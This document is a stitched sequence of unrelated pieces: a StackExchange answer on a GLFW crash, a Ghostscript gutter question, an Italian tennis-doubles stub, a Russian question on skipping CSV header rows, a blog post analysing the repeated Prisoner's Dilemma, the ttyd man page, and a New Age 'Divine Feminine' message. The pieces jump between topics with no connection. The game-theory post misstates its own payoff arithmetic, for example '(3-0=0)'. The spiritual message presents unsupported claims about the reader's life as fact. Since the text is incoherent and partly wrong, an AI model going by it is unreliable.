5 AppKit 0x00007fff8cc0dc95 -[NSApplication run] + 756
6 libglfw.dylib 0x000000012944a17e initializeAppKit + 1342
7 libglfw.dylib 0x0000000129449845 _glfwPlatformCreateWindow + 37
8 libglfw.dylib 0x00000001294454b1 glfwCreateWindow + 513
9 ??? 0x000000011129e954 0x0 + 4582926676
10 ??? 0x0000000111290760 0x0 + 4582868832
11 ??? 0x0000000111290760 0x0 + 4582868832
12 ??? 0x0000000111290760 0x0 + 4582868832
13 ??? 0x0000000111290c4d 0x0 + 4582870093
14 ??? 0x0000000111290c92 0x0 + 4582870162
)
Anything would be very helpful, I run Mac OSX Yosemite, Eclipse Mars, and I have the LWJGL nightly from January 16th 2016
A: The reason why you're getting this error is because you are running the GLFW window on a separate thread. Run the window on the main thread and it'll work.
As read in this thread in the comments Here
Did a quick check. Creating more than one Display in the same program results in an error, even if they are created in seperate Threads. One thing you can do, is to create seperate java programs for the two (or more) displays that you need, and have them communicate using sockets and/or streams
Meaning that using any thread besides the main thread is going to result in an error.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 7,798 |
Q: Ghostscript add white background image I have a script which automatically adds a gutter to a PDF file. It adds gutter to left for ODD numbered pages and gutter to the right for EVEN numbered pages. It does this by moving the existing image over.
Here is the code for that:
'gs -sDEVICE=pdfwrite -dPDFSETTINGS=/printer -o output.pdf \
-dDEVICEWIDTHPOINTS=513 \
-dDEVICEHEIGHTPOINTS=738 -dFIXEDMEDIA -c \
"<< /CurrPageNum 1 def /Install { /CurrPageNum CurrPageNum 1 add def CurrPageNum 2 mod 1 eq \
{-4.5 0 translate} {4.5 0 translate} \
ifelse } bind >> setpagedevice" -f input_file.pdf
I've found that when I send this PDF file to the printer, the additional space is not "counting" so the file is now narrower now. I think this is because transparency doesn't count on the PDF, and so when sent to the printer the pages are seen as narrower.
Is it possible to add a white background to the pdf so it ISN'T seen as transparent? Or is there an alternative way to fix this?
A: I'm afraid your assumption is flawed, your 'translate' has no transparency involvement at all, its shifting the content on the media (NB this is not an image, ie a bitmap, in general. Its more complex content). All the content is shifted, no matter whether it is transparent or not.
I'm afraid I can't follow what you mean about the printed page being 'narrower'. The Media request will be for a page 513x738 points, which is a really weird size; 7.125 by 10.25 inches. Unles that matches the page size of your printer, then its going to do 'something' with the result. Probably it will center it if the media is larger than the request, but if the media is smaller than requested, then it will either scale it down or crop it. Either will result in something different to what you expect.
Is there a reason you are changing the media size of the original PDF file ?
If the media request does match the printer then its still possible that there will be cropping or scaling going on, because the printable area may not be the same as hte size of the media. The paper handling of some printers means that they cannot print all the way to the edge of the media. In that case the printer may scale or crop the output again.
You can easily elimiate transparency as being the culprit by simply starting with a test file which does not contain any transparency. If you aren't certain then one solution owuld be to use a recent version of Ghostscript and use the pdfimage32 device. That will create a PDF file from the original PDF, but the output file will only contain a bitmap image, no transparency at all.
To help us consider the problem, it would be helpful to see the original PDF file, the PDF file you send to the printer, and a scan or photograph of the final printed page. It would also be useful to know the version of Ghostscript you are using, the make and model of the printer, and how you are sending the PDF file to the printer.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 7,662 |
Il doppio maschile del torneo di tennis ECM Prague Open 2006, facente parte dell'ATP Challenger Series, ha avuto come vincitori Petr Pála e David Škoch che hanno battuto in finale Ramón Delgado e Sergio Roitman 6-0, 6-0.
Teste di serie
Lukáš Dlouhý / Pavel Vízner (primo turno)
Petr Pála / David Škoch (Campioni)
Ashley Fisher / Jordan Kerr (semifinali)
Jeff Coetzee / Rogier Wassen (semifinali)
Tabellone
Collegamenti esterni
ECM Prague Open 2006 | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,658 |
{"url":"https:\/\/nivent.github.io\/blog\/prisoners-dilema\/","text":"# The Prisoner's Dilema\n\nImagine you and another person commit a crime together. Futhermore, imagine it was the perfect crime \u2013 completely foolproof \u2013 except it wasn\u2019t \u2013 because the cops are pretty sure you two did it. In fact, they know it was you two; the only thing stopping them from locking both of you up in jail for a very, very long time right now is this stupid burden of proof reminding them their evidence isn\u2019t completely airtight 1. They could do some footwork and get more proof, but a confession seems easier. They have enough evidence to temporarily arrest you and your crime mate, and question you in jail for a couple nights.\n\nThe first night, you two are separated. One cop takes you to an interrogation room, and offers you a deal. \u201cLook. I know you did this. You know you did this. Everyone here knows you did this. We\u2019re gonna keep you in here for a couple days, then we\u2019re gonna get the rest of the evidence we need and you\u2019ll spend the rest of you life behind bars. Or, we can work together. Getting evidence is annoying. I already know you and your partner did this, so I\u2019d rather just put one of you away now. Confess. Rat on your partner, and we\u2019ll give you a reduced sentence.\u201d At the same time, another cop took your crime mate to a different room, and gave him the same speech. You both have the choice giving up your partner in crime to help yourself, or staying quiet. Let\u2019s say if you both rat each other out, you both get 2 life sentences in jail; if you both keep quiet, there\u2019s only enough evidence found for you both to get 1 life sentence; and if you rat him out, but he doesn\u2019t rat you out, you get no jail time and he gets 3 life sentences 2. What would you do? Would you turn on your partner, or keep quiet? This is an example of what\u2019s called a Prisoner\u2019s Dilema.\n\n# Aside\n\nThe scenario above might seem a little contrived, and like it\u2019s not something work considering, but Prisoner\u2019s Dilemas show up in other places too. The main thing that makes a situation a Prisoner\u2019s Dilema is that you can screw someone over, or help them at your expense. Another example of this is working on a partnered project 3. You can put in a lot of work (at the expense of having to go through the trouble of putting in work), or be lazy and let your partner do everything themselves. Another example is performance-enhancing drugs in sports. There are two competing athletes. Each athlete can take drugs (making them better than an undrugged opponent, but giving them health and legal risks) or compete all natural.\n\n# What do you do?\n\nLet\u2019s return to our original example of a Prisoner\u2019s Dilema, and see if we can figure out what we should do. There are two people, you an your partner. You can each (D)efect from your partner by turning on him, or (C)ooperate with him by staying quiet. Depending on what the two of you choose, you\u2019ll be in jail for some number $y$ of life sentences, and you want to minimize this number. Personally, I\u2019ve often heard that people should strive for greatness, so I think we should tweak this so you want to maximize something instead4. That being said, minimizing $y$ is the same as maximizing $3-y$, so we\u2019ll do that. All of this can be nicely represented using the matrix5 below\n\nThe above says, for example, that if the first (row) player6 defects while the second (column) player player cooperates, then the first player gets 0 life sentences (3-0=0) and the second gets 3 life sentences (3-3=0). As another example, it says if both player cooperate, then they both get 1 (3-1=2) life sentence.\n\nIf you look at this matrix for a while, it might become clear what you should do. No matter what your partner does, it is always better for you to defect than to cooperate7, so you should rat out your partner8. However, this matrix is symmetric, and so by the same reasoning, your partner should rat you out too. Thus, it makes sense to predict that in this situation, you\u2019ll both defect and spend 2 life sentences in jail.\n\n# Wait, what?\n\nSo maybe there\u2019s no escaping the both of you defecting. Maybe that\u2019s just what\u2019s meant to happen. Maybe, but maybe not. Despite all these valid arguments against it, it can still feel like you and your partner should just both cooperate. As we have modelled things now, there isn\u2019t really a way of interpreting this so that we can safely arrive at this conclusion, so maybe we\u2019re modelling this situation incorrectly.\n\n# There\u2019s only 1 interrogation room\n\nIn our current model, you and your partner essentially move simultaneously. The cops separate you, offer both of you deals, and then you respond before knowing what the other did. This might not be completely realistic. Maybe the cops took you away before taking your partner away and so you were able to somehow communicate with him what you did. Maybe there\u2019s only 1 interrogation room, so you had to go one at a time and the other was able to figure out what the first one did. Maybe you didn\u2019t commit a crime and there\u2019s no police involved and you\u2019re actually in a different prisoner\u2019s dilema where it makes more sense to think about you two moving one at a time (like drugs in sports)9. It doen\u2019t matter the reason. Let\u2019s just say you decide to defect or cooperate first, your partner sees what you did, then he decides to defect or cooperate. If he sees that you cooperated without a doubt, that might be enough for him to cooperate as well. Our model now looks like this\n\nThe poorly made tree above describes the situation where 1 is interrorgated first, decides to defect or cooperate, 2 sees what 1 did, then 2 is interrorgated and decides to either defect or cooperate. Let\u2019s say you cooperate. Unfortunately, evening knowing that, 2 still won\u2019t cooperate with you; he will defect. It doesn\u2019t matter than 2 knows your loyal. To him, its a choice between 1 life sentence and 0 life sentences. He\u2019s gonna choose 0.\n\nThis whole defect thing is seeming pretty convincing, but let\u2019s not give up yet. There\u2019s still more ways we can think about this 10.\n\n# We\u2019ll meet again\n\nRecall from the aside that there are other examples of prisoner\u2019s dilemas than this somewhat literal scenario. If you both defect (or both cooperate), you\u2019ll both end up in jail. Certainly, you will interact with each other again, and in doing so, you will likely end up in other prisoner\u2019s dilemas in the future11 albeit less literal ones. With this in mind, maybe if you both cooperate now, you will be willing to continue cooperating in the future since its better than both of you defecting. This could be what we need to give justification to our intuition.\n\nLet\u2019s say the two of you will experience $k$ prisoner\u2019s dilemas in total (no matter what choice you make in any of them). At each dilema, you both aquire some payoff described according to the numbers in our original payoff matrix12. At the end of the $k$ dilemas, your payoff is the sum of all the payoffs you received during the individual dilemas, and this is the quantity you want to maximize. For your convience, the payoff matrix is reproduced below.\n\nChoose $k$ arbitarily. Let\u2019s say you\u2019ve both agreed to always cooperate. Can we reasonably expect that this is what we\u2019ll do, or will we have some incentive to deviate from this strategy. It may be hard to think about this by imagining all $k$ dilemas at once, so let\u2019s say you are on the $k^\\text{th}$ dilema. You\u2019ve come accross $k-1$ dilema situations with your partner, and every single time, you both cooperated. Things are going fairly well. This is your last dilema together; clearly, you should cooperate again, right? Wrong. It\u2019s the same argument as always. If you are so sure your partner will cooperate, then it\u2019s in your best instance to defect!\n\nBut wait, that was just for the last dilema. Maybe you too can still cooperate up until then; play nice in the beginning to gain your partner\u2019s trust, only to backstab him in the end. If only this could work. Your partner can reason the same way and so you will both conclude that the other one will turn on you and defect in the end. Once you realize there\u2019s no point in cooperating the first $k-1$ times (since it won\u2019t convince your partner to cooperate the $k^\\text{th}$ time), your only choice left is to defect the $(k-1)^\\text{th}$ time, and cooperate at most $k-2$ times. Unfortunately, this line of reasoning can be repeated again and again, resulting in both of you defecting every single time, and this is true no matter what value of $k$ you pick. So it seems even if you meet again, you really can\u2019t be convinced it\u2019s worth while to cooperate with this guy.\n\n# When is the last time, though?\n\nThe argument above all stemmed from one fact. No matter how much you cooperate, when you finally reach the end of it all, you\u2019re gonna want to defect. This argument contains one perculiarity though; it implicitly assumes that you know when your last dilema is. I don\u2019t know about you, but I can\u2019t predict the future. When I interact with people, I can\u2019t say for sure if it\u2019s the last time we\u2019ll interact or not. Certainly, it seems strange to use a model where people have these incredible powers of foresight. So, what model do we use now?\n\nOur previous observation that future interactions can cause you to want to cooperate still seems reasonable to me. Last time, it went wrong because eventually you knew you had no more future interactions, and then everything unwound from there, but like we said, in the real world you could always potentially have more interactions down the line. To model this, instead of saying you face $k$ dilemas in total, you and your partner will face infinitely many dilemas together. We\u2019re trying to keep things realistic here, and this fails on at least two accounts. 1.) You never interact with anyone inifintely many times in the real world. 2.) When you interact with someone, you may not know how many more times you will, but you\u2019re probably more confident that it will happen (at least) once more than that it will happen (at least) 10,000 times more. To address these, we will introduce a discount factor $\\delta$13 where $% $. This number can be thought of a measure of how patient you are, how likely it is that your current dilema is not the last one, etc.\n\nNow let\u2019s explicitly say what our latest model is. You and your partner play infinitely many prisoner\u2019s dilemas, and at each one, you have the same possible actions (defect or cooperate) and the same payoffs (given by the matrix somewhere above). For each dilema, you play it like normal (moving simultaneously), and receive some payoff. Previously, your goal was the maximize the sum of all your payoffs. Here, your goal is the maximize the discounted sum of your payoffs. Letting $u_t$ be your payoff from the $t^\\text{th}$ dilema, the quantity you are trying to maximize is\n\nWe can\u2019t use the same argument from before to say that you will both defect every time since that argument depended on having some last interaction to start (and argue backwards) from. So far, so good. Let\u2019s say you both agreed beforehand to always cooperate. Do you still have incentive to start defecting? The answer is$\\dots$ of course you do. Think about it. You both agreed to always cooperate, so you can be confident your partner will always cooperate. If that is the case, you should always defect instead, and you will get a strictly higher payoff (independent of the value of $\\delta$). Your partner can use this reasoning too, and so it is still reasonable to expect both of you to always defect.\n\nThat argument makes sense, but it really only makes sense if you expect your partner to cooperate no matter what. That isn\u2019t a very likely thing. So, let\u2019s not give up; let\u2019s change our strategy. Instead of agreeing to always cooperate, you and your partner agree to always cooperate with the stipulation that if one of you ever defects, then you both start defecting from their on. Like before, if you both follow this strategy, you will both always cooperate. However, now if one of you deviates, he won\u2019t be forever rewarded with strictly higher payoffs. He\u2019ll have exactly one instance where his payoff is higher than before (3 instead of 2), and infinitely many where its lower than before (1 instead of 2). Is that it? Have we finally found justification for our intuition? I mean, there\u2019s no way one instance of higher payoff is worth infinitely many instances of lower payoff, right? right? Well$\\dots$\n\nInfinite is certainly bigger than 1, but we\u2019re not maximizing the outright sum of individual payoffs, but the discounted sum of payoffs. Certainly, if $\\delta=0$, we would still want to defect in the original dilema since it would be the only one giving us any payoff14. $\\delta$ can\u2019t be 0, but it can be close to zero. You would imagine that for small enough $\\delta$, this reasoning still (essentially) holds, and we conclude that you should in fact still defect. It\u2019s possible that this is true for all $\\delta$ (or at least for fairly large $\\delta$, like 0.95) and that would mean that, unless you were very patient or very certain you will keep on seeing this guy, you should still defect.\n\nThe only way to know for sure if this model gives satisfying results is to figure out what for which values of $\\delta$ you should always cooperate. Certainly, if someone defects somewhere along the way, then you should always defect from there on out. No matter what $\\delta$ is, once someone has defected, you expect your partner to always defect, and so it makes no sense for you to decrease your payoff by cooperating. Thus, the only thing we need to consider in our analysis is if it is ever a good idea to defect in the first place. Fix any $T$, and imagine you defect for the first time at time period $T$. Let\u2019s compare what happens when you always conform to your agreed upon strategy and what happens when you deviate at time $T$ by defecting.\n\nIf you conform, you both always cooperate. If you deviate at $T$, then you both cooperate for a while, then you defect while your partner cooperates, then you both defect forever. You will only want to deviate if it increases your payoff, so let\u2019s look at the payoffs from coforming and from devating. If you conform, your payoff is\n\nHowever, if you deviate, your payoff is\n\nYou only want to deviate if your payoff is higher, so you will only deviate when $\\delta$ satisfies the following.\n\nWhich means you will want to always cooperate if $\\delta\\ge\\frac12$15! Finally, true justification for our intuition. This essentially says that if your at least as patient as average 16, then you want to cooperate, which makes sense. You wouldn\u2019t really expect a short-sided person to want to cooperate, but you would expect someone willing to wait for future benefit to.\n\n# Some Thoughts\n\nThe Prisoner\u2019s Dilema \u2013 and more generally, the type(s) of reasoning we touched upon here \u2013 come from a field known as Game Theory. Basically, game theorists study how rational beings should behave in different situations. There\u2019s way more to game theory than just this prisoner\u2019s dilema, and many more types of models of games than I introduced here.\n\nThis quarter I am taking ECON 180: Honors Game Theory. Before starting the class, I knew very little about game theory. I had heard of the subject (and it seemed interesting), and I had watched a few online lectures of a game theory course at Yale. From what little I had seen, I had the idea that game theorists studied only simple models (like the first one we had here), and that they only searched for Nash Equilibrium17, which didn\u2019t always match up with intuition or accurately predict human behavior. Don\u2019t get me wrong. I expected that there was more to this, and wanted to learn the deeper theory behind it all; I was just not completely convinced the theory was very deep. Certainly, I did not expect to come across even just the different types of models (informally) used in this post. Through this class, I have found that game theory is a much deeper field than I expected, and have even entertained the thought of taking more classes in it, and possibly making it the focus of my studies. I\u2019ve discovered that Nash equilibria aren\u2019t the only equilibria18, that this field has more history than I thought19, that almost any situation is a game20, etc.\n\nI was reminded of this yesterday during class. A little bit of context: I was not feeling like going to class. I was super tired, I had just come off a break and was overall less motivated to get work done, it\u2019s an almost 2 hour long class, I wanted some food, etc. Honestly, the main thing that caused me to go was that I needed to turn in a problem set. But class started, the professor had written on the board what we would be talking about that day, and my attitude instantly changed. We were going to be talking about learning and evolution. At the beginning of this quarter, he had mentioned that we would cover this towards the end of the quarter, and I had been looking forward to it ever since.\n\nFor a little bit of context, my current future goals lie in AI. I hope to one day some sort of research in artificial intelligence, and specifically, machine learning, so the topic vibed with me. Not only that, but throughout the course, many times we\u2019ve gone over something that reminded me of reinforcement learning. The idea of players trying to take actions to maximize a payoff functions often had parallels with the idea of an agent trying to take actions to maximize future reward in an environment. Every time I was reminded of this seeming connection, I would make a mental21 note to do some investigating of it on my own, to write some programs where 2 RL agents repeatedly play a game and see if their strategies converge to nash equilibrium, for example. However, I never went through with these plans; they always just lied dormant on my mind and on my paper. Sitting in class yesterday, finally talking about learning in game theory, I kept on thinking about what I had gained from this class, what I wanted from this class that I forgot to pursue, and what, if any, insights I can gain from exploring parallels between game theory and RL.\n\nThere\u2019s no lesson I\u2019m trying to convey with this. It\u2019s just something on my mind.\n\n1. Note: I know basically nothing about the legal system and crime and justice and how it all (attempts to) work together. Just go along with me here, and pretend everything I\u2019m saying makes sense and is as it should be.\n\n2. Here, these are life sentences with the possibility for parole after a few decades (depending on how many you get) of good behavior.\n\n3. I think this is a Prisoner\u2019s Dilema, but I haven\u2019t put enough thought into it yet to confirm that. I think it will be more clear if I just lied or not after the next section\n\n4. And this is my blog, so we do whatever I want\n\n5. table?\n\n6. From here on, I\u2019ll use player to refer to you or your crime mate. You can be player 1 and he\u2019ll be player 2.\n\n7. Defecting strictly dominates cooperating\n\n8. What has he every done for you anyways, other than help commit a crime that might land you in jail for the rest of your life?\n\n9. maybe its maybelline\n\n10. At this point, having spent longer than I would like to admit making the above (admittedly not very high quality) graphic, I decided to call it a night, and continue writing tomorrow. This is the first time I have split writing a single post between two days. I\u2019m curious to see if I remember to include everything I wanted to after spending so much time away from it.\n\n11. This is still possibly true even if one you defects while the other cooperates.\n\n12. Previously, we interpreted these numbers in terms of life sentences. That now only makes sense for the first dilema. Future dilema\u2019s you two face may have nothing to do with jail time. Nevertheless, your payoffs can be assigned these same values because what matters is the relationship between the numbers, and not their specific values.\n\n13. delta\n\n14. here, we\u2019re using the convention that 0^0=1\n\n15. and you and your partner agreed upon this specific strategy, either explicitly or implicitly, beforhand.\n\n16. assumint patience is, for example, distributed uniformly from 0 to 1\n\n17. Situations in simultaneous games where everyone is doing the best thing given their opponent\u2019s action. One example is, perhaps unsurprisingly, both players defecting in the prisoner\u2019s dilema.\n\n18. In fact, there are too many of them. In class so far, we\u2019ve talked about nash equilibria, subgame perfect equilibria, bayesian nash equilibria, weak perfect bayesian equilibria, and sequential equilibria. These aren\u2019t even all of them. Not even close, I think.\n\n19. There were people doing game theory in at least the 1800s. I always assumed it was something that got start in the early or mid 1900s.\n\n20. I\u2019ve started a habit of relating things in my daily life to games from class\n\n21. and sometimes physical","date":"2018-06-25 10:07:16","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 35, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.557906985282898, \"perplexity\": 763.3185303624216}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867644.88\/warc\/CC-MAIN-20180625092128-20180625112128-00074.warc.gz\"}"} | null | null |
Q: Оператор break в цикле for Есть csv файл, который содержит шапку, т.е. она забирает первые N строк (кол-во строк может быть разное), он не стандартизирован. Также есть последние N строк, которые имеют просто общую информацию по файлу, их я тоже отбрасываю во втором цикле.
Пишу цикл, который их пропускает пока не найдет названия столбцов.
Все работает, цикл завершаю командой break. При использовании команды break естественно, он мне не возвращает уже строку с заголовками.
Вопрос можно ли как продолжить парсить csv, сохранив корретку итератор на строке заголовка?
Или может есть какой-то другой способ выполнения пропуска строк.
Вот кусок кода.
Спасибо.
with open('Chapter1 B-A.csv', 'r', newline='') as csvfile:
reader = csv.reader(csvfile, delimiter=';')
for row in reader:
if row[0] == '№ п/п':
break
else:
continue
for i, row in enumerate(reader):
if row[0] == '':
break
else:
print(row)
A: Вамъ нужна машина состояній. Вотъ маленькій примѣръ. Программа пропускаетъ всё между буквами R и D, включая ихъ самихъ. Можно реализовать и гораздо болѣе сложную логику.
state = 0
for i in "ABRACADABRA":
if state == 0:
if i == "R":
state = 1
else:
print(i)
elif state == 1:
if i == "D":
state = 2
else:
print(i)
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 5,924 |
ttyd 1 "September 2016" ttyd "User Manual"
==================================================
# NAME
ttyd - Share your terminal over the web
# SYNOPSIS
**ttyd** [options] \<command\> [\<arguments...\>]
# DESCRIPTION
ttyd is a command-line tool for sharing terminal over the web that runs in *nix and windows systems, with the following features:
- Built on top of Libwebsockets with libuv for speed
- Fully-featured terminal based on Xterm.js with CJK (Chinese, Japanese, Korean) and IME support
- Graphical ZMODEM integration with lrzsz support
- Sixel image output support
- SSL support based on OpenSSL
- Run any custom command with options
- Basic authentication support and many other custom options
- Cross platform: macOS, Linux, FreeBSD/OpenBSD, OpenWrt/LEDE, Windows
# OPTIONS
-p, --port <port>
Port to listen (default: 7681, use `0` for random port)
-i, --interface <interface>
Network interface to bind (eg: eth0), or UNIX domain socket path (eg: /var/run/ttyd.sock)
-U, --socket-owner
User owner of the UNIX domain socket file, when enabled (eg: user:group)
-c, --credential USER[:PASSWORD]
Credential for Basic Authentication (format: username:password)
-H, --auth-header <name>
HTTP Header name for auth proxy, this will configure ttyd to let a HTTP reverse proxy handle authentication
-u, --uid <uid>
User id to run with
-g, --gid <gid>
Group id to run with
-s, --signal <signal string>
Signal to send to the command when exit it (default: 1, SIGHUP)
-w, --cwd <path>
Working directory to be set for the child program
-a, --url-arg
Allow client to send command line arguments in URL (eg: http://localhost:7681?arg=foo&arg=bar)
-R, --readonly
Do not allow clients to write to the TTY
-t, --client-option <key=value>
Send option to client (format: key=value), repeat to add more options, see **CLIENT OPTOINS** for details
-T, --terminal-type
Terminal type to report, default: xterm-256color
-O, --check-origin
Do not allow websocket connection from different origin
-m, --max-clients
Maximum clients to support (default: 0, no limit)
-o, --once
Accept only one client and exit on disconnection
-B, --browser
Open terminal with the default system browser
-I, --index <index file>
Custom index.html path
-b, --base-path
Expected base path for requests coming from a reverse proxy (eg: /mounted/here, max length: 128)
-P, --ping-interval
Websocket ping interval(sec) (default: 300)
-6, --ipv6
Enable IPv6 support
-S, --ssl
Enable SSL
-C, --ssl-cert <cert path>
SSL certificate file path
-K, --ssl-key <key path>
SSL key file path
-A, --ssl-ca <ca path>
SSL CA file path for client certificate verification
-d, --debug <level>
Set log level (default: 7)
-v, --version
Print the version and exit
-h, --help
Print this text and exit
# CLIENT OPTOINS
ttyd has a mechanism to pass server side command-line arguments to the browser page which is called **client options**:
```bash
-t, --client-option Send option to client (format: key=value), repeat to add more options
```
## Basic usage
- `-t rendererType=canvas`: use the `canvas` renderer for xterm.js (default: `webgl`)
- `-t disableLeaveAlert=true`: disable the leave page alert
- `-t disableResizeOverlay=true`: disable the terminal resize overlay
- `-t disableReconnect=true`: prevent the terminal from reconnecting on connection error/close
- `-t enableZmodem=true`: enable [ZMODEM](https://en.wikipedia.org/wiki/ZMODEM) / [lrzsz](https://ohse.de/uwe/software/lrzsz.html) file transfer support
- `-t enableTrzsz=true`: enable [trzsz](https://trzsz.github.io) file transfer support
- `-t enableSixel=true`: enable [Sixel](https://en.wikipedia.org/wiki/Sixel) image output support ([Usage](https://saitoha.github.io/libsixel/))
- `-t titleFixed=hello`: set a fixed title for the browser window
- `-t fontSize=20`: change the font size of the terminal
## Advanced usage
You can use the client option to change all the settings of xterm defined in [ITerminalOptions](https://xtermjs.org/docs/api/terminal/interfaces/iterminaloptions/), examples:
- `-t cursorStyle=bar`: set cursor style to `bar`
- `-t lineHeight=1.5`: set line-height to `1.5`
- `-t 'theme={"background": "green"}'`: set background color to `green`
to try the example options above, run:
```bash
ttyd -t cursorStyle=bar -t lineHeight=1.5 -t 'theme={"background": "green"}' bash
```
# EXAMPLES
ttyd starts web server at port 7681 by default, you can use the -p option to change it, the command will be started with arguments as options. For example, run:
```
ttyd -p 8080 bash -x
```
Then open http://localhost:8080 with a browser, you will get a bash shell with debug mode enabled. More examples:
- If you want to login with your system accounts on the web browser, run `ttyd login`.
- You can even run a none shell command like vim, try: `ttyd vim`, the web browser will show you a vim editor.
- Sharing single process with multiple clients: `ttyd tmux new -A -s ttyd vim`, run `tmux new -A -s ttyd` to connect to the tmux session from terminal.
# SSL how-to
Generate SSL CA and self signed server/client certificates:
```
# CA certificate (FQDN must be different from server/client)
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 365 -key ca.key -subj "/C=CN/ST=GD/L=SZ/O=Acme, Inc./CN=Acme Root CA" -out ca.crt
# server certificate (for multiple domains, change subjectAltName to: DNS:example.com,DNS:www.example.com)
openssl req -newkey rsa:2048 -nodes -keyout server.key -subj "/C=CN/ST=GD/L=SZ/O=Acme, Inc./CN=localhost" -out server.csr
openssl x509 -sha256 -req -extfile <(printf "subjectAltName=DNS:localhost") -days 365 -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt
# client certificate (the p12/pem format may be useful for some clients)
openssl req -newkey rsa:2048 -nodes -keyout client.key -subj "/C=CN/ST=GD/L=SZ/O=Acme, Inc./CN=client" -out client.csr
openssl x509 -req -days 365 -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt
openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.p12
openssl pkcs12 -in client.p12 -out client.pem -clcerts
```
Then start ttyd:
```
ttyd --ssl --ssl-cert server.crt --ssl-key server.key --ssl-ca ca.crt bash
```
You may want to test the client certificate verification with *curl*(1):
```
curl --insecure --cert client.p12[:password] -v https://localhost:7681
```
If you don't want to enable client certificate verification, remove the `--ssl-ca` option.
# Docker and ttyd
Docker containers are jailed environments which are more secure, this is useful for protecting the host system, you may use ttyd with docker like this:
- Sharing single docker container with multiple clients: docker run -it --rm -p 7681:7681 tsl0922/ttyd.
- Creating new docker container for each client: ttyd docker run -it --rm ubuntu.
# Nginx reverse proxy
Sample config to proxy ttyd under the `/ttyd` path:
```nginx
location ~ ^/ttyd(.*)$ {
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://127.0.0.1:7681/$1;
}
```
# AUTHOR
Shuanglei Tao \<tsl0922@gmail.com\> Visit https://github.com/tsl0922/ttyd to get more information and report bugs.
| {
"redpajama_set_name": "RedPajamaGithub"
} | 1,578 |
New Missiology Books October 2010
As a doctoral student in missiology I like to keep up on the new things getting published on the subject. Here are a few new books that are out that have caught my attention. ((Books include referral code links to Powell's Books an Independent bookstore in Portland, Oregon.)) Summaries provided by Powells.com.
In 1910 Protestant missionaries from around the world gathered to explore the role of Christian missions in the twentieth century. In this collection, leading missiologists use the one hundred year anniversary of the Edinburgh conference as an occasion to reflect on the practice of Christian mission in today's context: a context marked by globalization, migration, ecological crisis, and religiously motivated violence. The contributors explore the meaning of Christian mission, the contemporary context for mission work, and new forms in which the church has engaged–and should engage–in its missionary task. From these essays, a vision of twenty first-centurymission begins to emerge–one that is aware of issues of race, gender, border spaces, migration, and ecology. This renewed vision gives strength to the future of shared Christian ministry across nations and traditions.
First, this is a book about doing theology, emphasizing not so much content but theology as an activity, a process. Second, this is a book about doing Catholic theology, that is to say anchored in Scripture but also as interpreted by ecclesial Tradition and Magisterium, theology rooted in the experience that the divine is to be found in a sacramental world and community. At a third level, Bevans describes systematic theology as reflection upon the central teachinkgs of the church – creation, sin, redemption, Trinity, anthropology, salvation and eternal life, ecclesiology. And a fourth key insight, the contextual nature of theology, as it makes sense of life in a global world shot through with cultural and religious plurality.
Aimed at practitioners, church leaders, academics, and students of mission and world Christianity, Mission in the Twenty-First Century provides fresh insights on the theology and practice of mission in our age. It brings together scholarly reflection on practice, case studies and stories, and questions for discussion. Addressing the "five marks of mission: evangelism and proclamation, discipleship, social service, social transformation, and ecological concern chapters examine these marks in the context of such important factors as globalization, migration, Islam, "old Christendom," and peace and reconciliation. In addition to the editors, the international group of contributors includes Desmond Tutu, Jehu Hanciles, Anne Marie Kool, David Zac Nirigiye, Tony Gittins, Lamin Sanneh, Ashish Crispal, Melba Maggay, Hami Tutu Chapman, Gerald Pilay, Kwame Bediako, and Moonjang Lee.
Blog Entries, Reviews
2 responses to "New Missiology Books October 2010"
JR Rozko says:
Alright fella, my dmiss cohort on anabaptist perspectives in missional ecclesiology kicks off later this month. We need to have a conversation about resources and all the tips and tricks of study and research you've learned along the way. Collect your thoughts and let's find a time to chat!
C. Wess Daniels says:
Sounds good JR. Maybe next week? | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 5,603 |
Today's message from the Divine Feminine: Spend time with your inner child. You have been through some heartbreak, loss of loved one(s), whether through breakups, death, or maybe even both… and it's been a long, hard road for healing. You haven't felt like playing much for a while now. It's just felt too painful. It has even hurt to breathe. But lately, you feel new life blossoming inside of you, and it's important to pay attention to that. Your inner child is waking up, coming out of the dark black goo, and feeling ready to start playing again. Be assured that the worst is behind you. It's time for you to open up to your inner child and fall in love with YOU.
There is new love awaiting you. But this first starts with you. Spend time with yourself. Go out in nature and connect with the trees and the wildlife – let it all enchant you. Fall in love with life again. Fall in love with YOU. Get to know yourself and love this Divine, perfect, beautiful being that you are. Seek the inner child within – h/she will absolutely enchant you. Play as a child, with innocence and joy, wonder and magic. This feeling of falling in love with yourself will not only help you to let go of those who have moved out of your life, but it will also put you into the energy of attraction and charisma. The more you love YOU, the more you attract a partner who also loves him/herself, and also loves you as you do.
